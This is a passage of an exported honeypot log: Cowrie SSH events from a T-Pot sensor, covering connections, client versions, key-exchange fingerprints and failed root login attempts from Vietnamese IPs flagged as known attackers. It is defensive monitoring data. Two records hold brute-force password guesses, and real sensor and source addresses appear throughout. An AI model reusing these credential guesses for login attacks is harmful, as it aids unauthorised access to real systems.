25173	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:31.475443+03	2021-09-20 14:15:09.76147+03	{"_id": "OgblAnwBvYTbRNuElBgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:42256 (192.168.176.2:22) [session: e4c204dc2291]", "session": "e4c204dc2291", "@version": "1", "protocol": "ssh", "src_port": 42256, "dest_port": 22, "timestamp": "2021-09-20T11:09:31.475443Z", "@timestamp": "2021-09-20T11:09:31.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25174	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:31.674683+03	2021-09-20 14:15:09.763502+03	{"_id": "OwblAnwBvYTbRNuElBgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:33636 (192.168.176.2:22) [session: ff9c995c571a]", "session": "ff9c995c571a", "@version": "1", "protocol": "ssh", "src_port": 33636, "dest_port": 22, "timestamp": "2021-09-20T11:09:31.674683Z", "@timestamp": "2021-09-20T11:09:31.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25176	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:31.478312+03	2021-09-20 14:15:09.7665+03	{"_id": "SAblAnwBvYTbRNuElBgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e4c204dc2291", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:31.478312Z", "@timestamp": "2021-09-20T11:09:31.478Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25177	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:31.520221+03	2021-09-20 14:15:09.7675+03	{"_id": "SQblAnwBvYTbRNuElBgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qaz321x] failed", "session": "d941266a32aa", "@version": "1", "password": "1qaz321x", "username": "root", "timestamp": "2021-09-20T11:09:31.520221Z", "@timestamp": "2021-09-20T11:09:31.520Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25178	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:31.630038+03	2021-09-20 14:15:09.7685+03	{"_id": "SgblAnwBvYTbRNuElBgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4ff9d54567d7", "@version": "1", "duration": 2.8633546829223633, "timestamp": "2021-09-20T11:09:31.630038Z", "@timestamp": "2021-09-20T11:09:31.630Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25179	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:31.677378+03	2021-09-20 14:15:09.769513+03	{"_id": "SwblAnwBvYTbRNuElBgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ff9c995c571a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:31.677378Z", "@timestamp": "2021-09-20T11:09:31.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25180	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:31.762308+03	2021-09-20 14:15:09.7715+03	{"_id": "TAblAnwBvYTbRNuElBgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "524574b7b549", "@version": "1", "duration": 5.447019100189209, "timestamp": "2021-09-20T11:09:31.762308Z", "@timestamp": "2021-09-20T11:09:31.762Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25181	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:31.802143+03	2021-09-20 14:15:09.772503+03	{"_id": "TQblAnwBvYTbRNuElBgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e4c204dc2291", "@version": "1", "timestamp": "2021-09-20T11:09:31.802143Z", "@timestamp": "2021-09-20T11:09:31.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25182	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:32.031771+03	2021-09-20 14:15:09.774499+03	{"_id": "TgblAnwBvYTbRNuElBgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ff9c995c571a", "@version": "1", "timestamp": "2021-09-20T11:09:32.031771Z", "@timestamp": "2021-09-20T11:09:32.031Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25183	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:32.108001+03	2021-09-20 14:15:09.7755+03	{"_id": "TwblAnwBvYTbRNuElBgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f486c23457f8", "@version": "1", "timestamp": "2021-09-20T11:09:32.108001Z", "@timestamp": "2021-09-20T11:09:32.108Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25184	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:32.163868+03	2021-09-20 14:15:09.777506+03	{"_id": "UAblAnwBvYTbRNuElBgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9bc380dfc344", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:32.163868Z", "@timestamp": "2021-09-20T11:09:32.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25185	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:32.34229+03	2021-09-20 14:15:09.7785+03	{"_id": "UQblAnwBvYTbRNuElBgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/0l0ctyQh243O63uD] failed", "session": "379b83e9db7f", "@version": "1", "password": "0l0ctyQh243O63uD", "username": "root", "timestamp": "2021-09-20T11:09:32.342290Z", "@timestamp": "2021-09-20T11:09:32.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25186	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:32.370972+03	2021-09-20 14:15:09.779471+03	{"_id": "UgblAnwBvYTbRNuElBgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9bc380dfc344", "@version": "1", "timestamp": "2021-09-20T11:09:32.370972Z", "@timestamp": "2021-09-20T11:09:32.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 